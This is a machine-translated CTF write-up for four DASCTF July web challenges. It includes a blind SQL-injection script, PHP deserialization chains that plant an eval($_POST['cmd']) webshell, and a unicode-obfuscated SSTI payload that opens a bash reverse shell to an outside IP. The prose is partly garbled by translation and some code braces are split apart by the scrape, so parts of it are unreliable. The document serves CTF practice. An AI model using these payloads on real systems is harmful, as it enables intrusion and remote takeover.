当前位置:网站首页>#Dasctf July Enabler WP

#Dasctf July Enabler WP

2022-07-30 22:55:00 [email protected]

写在前面:You learn a lot every time you play,I have re-acquainted with the places that I have a little understanding of the previous knowledge points,比如ssti的盲注,以前只知道{ {}}、{%%}statement can be executed,But I didn't think about the difference between them,通过一道sstican further distinguish the difference between the two

1、ez_getflag

Read any file directly/flag

2、绝对防御

2.1 网站jsSource code to find hints

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ooP56TN4-1658910684245)(./images/Dasctf%207%E6%9C%88%E8%B5%9B%20WP/1.jpg)]

2.2 sql注入

根据jsdescription in the source code,可以传一个id的参数,Try to pass it on,发现id=1是admin,id=2是flag,Guess it might followsql注入,Simply test that something does existsql注入

2.2.1 前端过滤

var reg = /[`[email protected]#$%^&*()_+<>?:"{},.\/;'[\]]/im;

This filter is actually very strict,But the front end can be usedburpOr write a script to bypass

2.2.2 后端过滤


if
union 
sleep
...

因为过滤了union,You cannot use joint injection,Try blind betting,用这个payload

id=1 and ascii(substr((select database()),1,1))>127

Change the length after the greater than sign and find that the echo is different,Write a blind script and run outflag

import re
import requests as req
import time

url = "http://78dbbf39-0d45-4ce7-9a8e-7073b048367b.node4.buuoj.cn:81/SUPPERAPI.php?"

payload = f"id=1 and ascii(substr((select database()),1,1))>127"
res = ''
for i in range(50):
    low = 0x20
    high = 0x7f
    while(low <= high):
        
        mid = (high + low) // 2
        print(low, mid, high)
        #payload = f"id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid}"
        #payload = f"id=1 and ascii(substr(reverse((select password from users where id=2)),{i},1))>{mid}"
        payload = f"id=1 and ascii(substr((select password from users where id=2),{
      i},1))>{
      mid}"

        # 数据库 database()
        # 表名 users
        # 字段 id,username,password
        #flag在id为2的password中
        print(payload)
        response = req.get(url + payload)
        #print(response.text)
        if(len(response.text) > 587):
            low = mid + 1
        else:
            high = mid - 1
        print("[+]:",low, res)
        time.sleep(1)
            
    res += chr(low)
    print("[+]:",low, res)
    

print(res)


3、Newser(复现)

3.1 composer.json泄漏


{
    
  
    "require": {
    
        "fakerphp/faker": "^1.19",
        "opis/closure": "^3.6"
    }
}

note one:compser换源、开启tls


composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

composer config -g -- disable-tls false

3.2 分析过程

3.2.1 分析入口点

The highlighted part of the file has__wakeup() 函数和\ __destruct()函数,然后__destruc()The deserialized content is output,从这个__destruct开始分析pop链

  1. 反序列化的常见起点
__destruct()  一定会调用  
__wakeup()  一定会调用
__toString() Called when an object is used as a string

  1. 中间跳板
__toString() 当一个对象被当做字符串使用

__get() 读取不可访问或不存在属性时被调用

__set() 当给不可访问或不存在属性赋值时被调用

__isset() 对不可访问或不存在的属性调用isset()empty()时被调用
  1. Deserialize common endpoints
__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

3.2.2 绕过_wakeup

via file leaks,It can be known that the current environment is introducedfaker和closure这两个库,通过fakerLibraries can be donerce的功能,但是由于faker库中有一个__wakeup()The method clears the entered content,因此需要绕过
Bypass reference articles
Take advantage of citations mentioned in the article,可以将参数在__wakeup()Binding with another parameter after execution,By setting another parameter to achieve the effect of changing the current parameter,The point is to find a piece of code in a similar format,在User类中的__wakeup()A similar piece of code happens to exist in the function

$this->a = $this->b;

$this->a[$this->b] = $this->c

One of the parameter bindingsDemo

<?php

class Foo{
    
    public $bitch;
    public $fuck;

    public function __destruct()
    {
    
        $this->bitch = "bitch";
        
        var_dump($this);
        echo "Here!\n";
    }

    public function __wakeup()
    {
    
        $this->fuck = "fuck";
        echo "There!\n";
    }


        
}
$s = 'O:3:"Foo":2:{s:5:"bitch";N;s:4:"fuck";R:2;}';

$o = unserialize($s);

var_dump($o);

3.2.3 The command executes with RCE分析

The deserialization endpoint is at call_user_func_array(),Only the first parameter is controllable,It is deserialized through the closure functionrce

call_user_func_array($this->getFormatter($format), $arguments);

代码框架如下

include("closure/autoload.php");  // 引入closure库
$func = function(){
    
    $cmd = 'id';
    system($cmd);
};  //构造匿名函数
$raw = \Opis\Closure\serialize($func); // 序列化
$c = unserialize($raw); //Take the data after deserialization call_user_func_array()的参数

3.3 命令执行poc

<?php
namespace{
    
    class User
    {
    
        private $_password;
        public $password;
        private $instance;

        public function __construct()
        {
    
            $this->instance = new Faker\Generator($this);
            $this->_password = ["_username"=>"phpinfo"];
        }
    }
    echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
}

namespace Faker{
    
    class Generator{
    
        private $formatters;

        public function __construct($obj)
        {
    
            $this->formatters = &$obj->password;
        }

    }
}

3.4 RCE(Anonymous functions and deserialization closures)


<?php
namespace{
    

    use User as GlobalUser;

    class User{
    
        public $password;
        private $_password;
        private $instance;
        
        public function __construct()
        {
    
            $this->instance = new Faker\Generator($this);
            $func = function(){
    
                eval($_POST['cmd']);
            };

            include("./vendor/opis/closure/autoload.php");

            $raw = \Opis\Closure\serialize($func);
            $c = unserialize($raw);
            $this->_password = ["_username"=>$c];

        }
    }
    echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));

}
namespace Faker{
    
    class Generator{
    
        private $formatters;
        public function __construct($obj)
        {
    
            $this->formatters = &$obj->password;
        }
    }
}
?>

4 Harddisk(复现)

SSTI方面的题目

Filtered a lot of content,主要的几个

.
space
{
    {
    }}
__
[]
x

不过可以用|attr 和 unicode绕(Can't use hexadecimal becausex被过滤)
payload


{%if(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0022\u0062\u0061\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0031\u0032\u0034\u002e\u0032\u0032\u0032\u002e\u0031\u0037\u0030\u002e\u0032\u0034\u0031\u002f\u0037\u0037\u0037\u0037\u0020\u0030\u003e\u0026\u0031\u0022"))%}test{%endif%}

原网站

版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/211/202207302246384146.html